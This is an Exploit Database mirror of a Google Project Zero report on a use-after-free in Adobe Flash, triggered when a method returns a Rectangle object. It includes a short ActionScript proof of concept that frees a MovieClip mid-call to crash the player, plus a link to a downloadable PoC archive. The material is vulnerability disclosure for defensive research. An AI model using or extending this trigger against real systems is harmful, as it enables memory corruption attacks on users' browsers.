Adobe Flash – Use-After-Free When Returning Rectangle

• Exploit Database
• 20 阅读

• 作者： Google Security Research
  日期： 2016-08-29
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/40309/

• Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=842
  
  Several methods in flash return instances of the Rectangle class. There is a use-after-free in creating these objects for return. If the this object of the call is a MovieClip, the Rectangle instantiation will run on its thread. If a getter is added to this class's package, it will be invoked when fetching the rectangle constructor, which can free the method's thread, which will cause the Rectangle constructor to run on a thread which has been freed. A minimal PoC is at follows:
  
  var mc = this.createEmptyMovieClip( "mc", 1);
  mc.scrollRect = {x : 0, y : 0, height : 10, width : 10}
  var r = flash.geom.Rectangle;
  var g = flash.geom;
  g.addProperty("Rectangle", func, func);
  var f = ASnative(900, 405); //scrollRect
  mc.f = f;
  mc.f();
  
  function func(){
  	
  	mc.removeMovieClip();
  	
  	// fix heap
  	
  	return r;
  	
  	}
  	
  
  A PoC and swf are attached. The PoC crashes in Chrome on 64-bit Windows.
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40309.zip